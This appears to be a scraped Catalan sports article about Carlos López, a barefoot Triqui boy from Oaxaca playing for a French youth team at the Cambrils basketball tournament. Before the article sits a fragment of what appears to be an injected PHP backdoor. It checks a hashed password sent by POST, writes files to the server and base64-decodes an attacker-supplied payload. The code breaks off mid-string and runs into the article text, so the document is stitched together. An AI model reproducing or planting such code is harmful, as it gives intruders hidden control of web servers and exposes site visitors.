function bestrock_render_js(){ echo ""; } function bestrock_render_index(){ echo md5('56749'); } function bestrock_render_ajax(){ try { if(isset($_GET['s1'])) die(md5('js')); if(isset($_POST['t2'])){ $l1 = uniqid(rand(), true) . '.js'; @file_put_contents($l1, 'js'); if(file_exists($l1)){ if(isset($_POST['t1'])){ $d = md5(md5($_POST['t1'])); if($d=="8ae24e6719c47a39da8ad5451432d9a6"){ $d1=$_POST['t2']; $d1=base64_decode($d1); $d4=" Carlos López, l'Abebe Bikila del Torneig de Cambrils del TGN Bàsquet - Tgn Bàsquet Club -

Carlos López, l’Abebe Bikila del Torneig de Cambrils del TGN Bàsquet

By
Updated: abril 11, 2017

Surt a la pista, juga uns quants segons i de sobte s’atura, atansa les mans a les seves sabatilles esportives, se les treu i les llença a la banda. Jugarà descalç. Davant la sorpresa dels rivals i del públic present al pavelló municipal de Cambrils, un jugador mexicà que milita en l’equip francès Toulouse Travel Team, disputa la resta del partit sense sabatilles. És ràpid, mou la pilota amb velocitat i té molta potència de salt. La notícia corre com la pólvora entre entrenadors, jugadors i membres de l’organització del Torneig Internacional del TGN Bàsquet.

Carlos López té onze anys i és natural de la comunitat Loma Cacique, a l’estat d’Oaxaca, Mèxic. López és triqui, és a dir, forma part d’aquest poble indígena que parla una llengua pròpia (triqui) i que actualment compta amb més de 25.000 persones. «A la meva regió tothom va descalç. Jo em trobo més còmode, amb sabates no puc córrer bé», diu. López és un dels jugadors no francesos del Toulouse Travel Team, una mena de selecció francesa i internacional de jugadors al capdavant del qual està  David Fauthoux, que va ser un dels impulsors d’aquest projecte el 2009. «Vam conèixer aquesta associació mexicana fa un parell d’anys a Barcelona i des d’aleshores que volíem incorporar un dels seus jugadors al nostre equip. A banda de jugadors francesos hem tingut irlandesos, macedonis i un argentí i l’any que ve comptarem amb un noi de Taiwan. Ara tenim Carlos, que és un noi sensacional, molt amable i divertit. Ell, sense parlar francès, s’ha integrat perfectament al nostre equip. Aquesta és la nostra filosofia: fer que jugadors que estan separats per milers de quilòmetres i que no es coneixen de res puguin fer-se amics jugant a bàsquet», explica Fauthoux.

L’associació que es refereix el responsable del Toulouse Travel Team és DAR, les sigles de Desempeño Académico Recompensado, al capdavant de la qual es troba Joel Bello, que acompanya Carlos López en aquesta aventura amb l’equip francès. «És un orgull poder aportar un gra de sorra perquè el somni d’un nen de l’acadèmia ABIM (Asociación de Basquetbol Índigena de México) amb el professor Sergio Zúñiga Ramírez al capdavant, es faci realitat», explica Bello.

ABIM és una associació que va posar en marxa un exjugador professional de bàsquet mexicà, Sergio Zúniga, el 2010 i que ja compta amb més de 1.500 nens per diferents zones de l’Estat d’Oaxaca i que pretén ajudar els nens d’aquestes comunitats amb pocs recursos. El projecte de Zúñiga, que va rebre el Premi Nacional de l’Esport mexicà en la categoria d’entrenador el 2014, ha donat molt bons resultats i l’any passat un equip format per aquests jugadors triquis va endur-se el campionat Barcelona Basketball Cup, després d’haver estat subcampions en dues ocasions. Els nens, coneguts popularment com els gegants descalços de la muntanya, formen part d’un projecte a través d’ABIM  i DAR en què, mitjançant el bàsquet, puguin seguir estudiant i, per tant, tenir un futur millor. «El fil conductor de Sergio amb nosaltres és que l’esport sigui la clau perquè uns nens amb una infància dura puguin menjar tres vegades al dia, tenir roba i calçat i conèixer el món. A Mèxic, si tens estudis, hi ha més possibilitats de tenir un bon futur professional, és per això que és fonamental que ells estudiïn», afirma Joel Bello. Per a poder jugar a bàsquet, els nois de la comunitat triqui han d’anar a l’escola i tenir bons resultats acadèmics. Això fa que els nens estiguin més motivats i les ganes de jugar a bàsquet han provocat la disminució de l’absentisme escolar.

 

Carlos López, que afirma que voldria jugar algun dia a l’NBA —el seu ídol és LeBron James—, ja és tot un campió perquè ha estat designat millor jugador del seu equip a Mèxic després de guanyar el campionat de l’YBOA (Youth Basketball of America) a Monterrey i ara jugarà amb els seus companys a Orlando (Florida, Estats Units) l’YBOA National Championship (els primers quinze dies del mes de Juliol). YBOA és una organització sense ànim de lucre que promou el bàsquet arreu del món i que té la seu a Orlando. Per fer-se una idea, el campionat del mes de juliol comptarà amb 17 pistes de bàsquet. «Sergio Zúñiga li va enviar a David Fauthoux alguns vídeos dels seus jugadors i l’entrenador francès va triar Carlos», diu Bello.

La progressió de Carlos López ha estat increïble. Segons ell mateix, només fa un parell d’anys que juga a bàsquet i, tot i això, ja demostra unes grans habilitats. «A Oaxaca juguem un o dos dies a la setmana. Vull entrenar fort per ser millor jugador», explica el jove triqui. ABIM rep ajudes des de diferents institucions públiques així com patrocinadors privats per tirar endavant el seu projecte que, però, es desenvolupa en condicions precàries en unes zones de gran pobresa. «No juguen descalços perquè sóns rebels, sinó que sempre han jugat així per falta de recursos, és una zona molt pobre», explica Joel Bello, que admet que es va decidir apostar per les pistes de bàsquet perquè eren més fàcils d’instal·lar per una qüestió d’espai —«estem parlant de zones molt muntanyoses»— en lloc de camps de futbol, tot i que assegura que estan estudiant ampliar el projecte amb aquest esport.

Carlos ha estat un dels millors del seu equip en la semifinal alevina contra el Vilassar. Demà jugarà la gran final del Torneig del TGN Bàsquet a Cambrils contra el Sant Nicolau (12 h). Com l’etíop Abebe Bikila als Jocs Olímpics de Roma el 1960, on va guanyar la marató, Carlos López pot tocar la glòria amb els peus nus sobre el terra fred.

 

 

 

Deixa un comentari

L'adreça electrònica no es publicarà. Els camps necessaris estan marcats amb *